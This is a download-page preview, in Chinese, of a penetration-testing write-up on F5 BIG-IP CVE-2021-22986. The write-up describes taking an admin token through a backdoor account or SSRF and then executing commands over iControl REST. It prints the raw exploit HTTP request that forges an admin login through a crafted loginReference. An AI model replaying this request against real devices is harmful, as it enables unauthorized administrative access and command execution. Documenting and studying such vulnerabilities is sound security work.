记一次BIGIP Configuration Utility渗透.pdf
199 浏览量
2024-04-22
12:45:36
上传
评论
收藏 156KB PDF 举报
记⼀次BIGIP Configuration Utility渗透
遇到个BIGIP Configuration Utility站点，版本较低发现疑似存在CVE-2020-5902，CVE-2021-22986漏洞，且环境
不出⽹，以下为渗透过程记录。
本地环境搭建
本地搭建⼀个环境看看，https://downloads.f5.com 注册⼀个账号就可以下载ova使⽤了。可以参考：https://ww
w.o2oxy.cn/3249.html
CVE-2021-22986
本质是后⻔账号/SSRF获取AdminToken然后向 iControl REST 发送精⼼构造的恶意请求，最终在⽬标服务器上执
⾏任意命令。
获取admin Token
可以成功获取admin的Token。
API命令执⾏
然后拿token去执⾏命令
POST /mgmt/shared/authn/login HTTP/1.1
Host: x
User-Agent: hello-world
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 168
{"bigipAuthCookie": "", "username": "admin", "loginReference": {"link":
"/shared/gossip"}, "userReference": {"link":
"https://localhost/mgmt/shared/authz/users/admin"}}
资源评论
吉吉说安全
- 粉丝: 1030
- 资源: 151
最新资源
- 3层独栋别墅图纸编号D093-三层-13.90&20.70米-施工图.dwg
- IIS多站点管理工具，可支持同时运行多个IIS服务
- 装备换元宝-3.txt
- 三层别墅图纸编号D092-三层-17.70&19.65米-建施图.dwg
- 三层别墅图纸编号D091-三层-09.30&11.70米-建施图.dwg
- 三层别墅图纸编号D090-三层-12.00&12.70米-施工图.dwg
- 3层独栋别墅图纸编号D089-三层-11.50&14.50米- 施工图.dwg
- 3层独栋别墅建筑高度9.38米D088-三层-11.86&09.26米-施工图.dwg
- 三层别墅图纸编号D087-三层-22.00&10.50米-施工图.dwg
- maven-resources-production java.lang.NegativeArraySizeException
资源上传下载、课程学习等过程中有任何疑问或建议，欢迎提出宝贵意见哦~我们会及时处理！
点击此处反馈
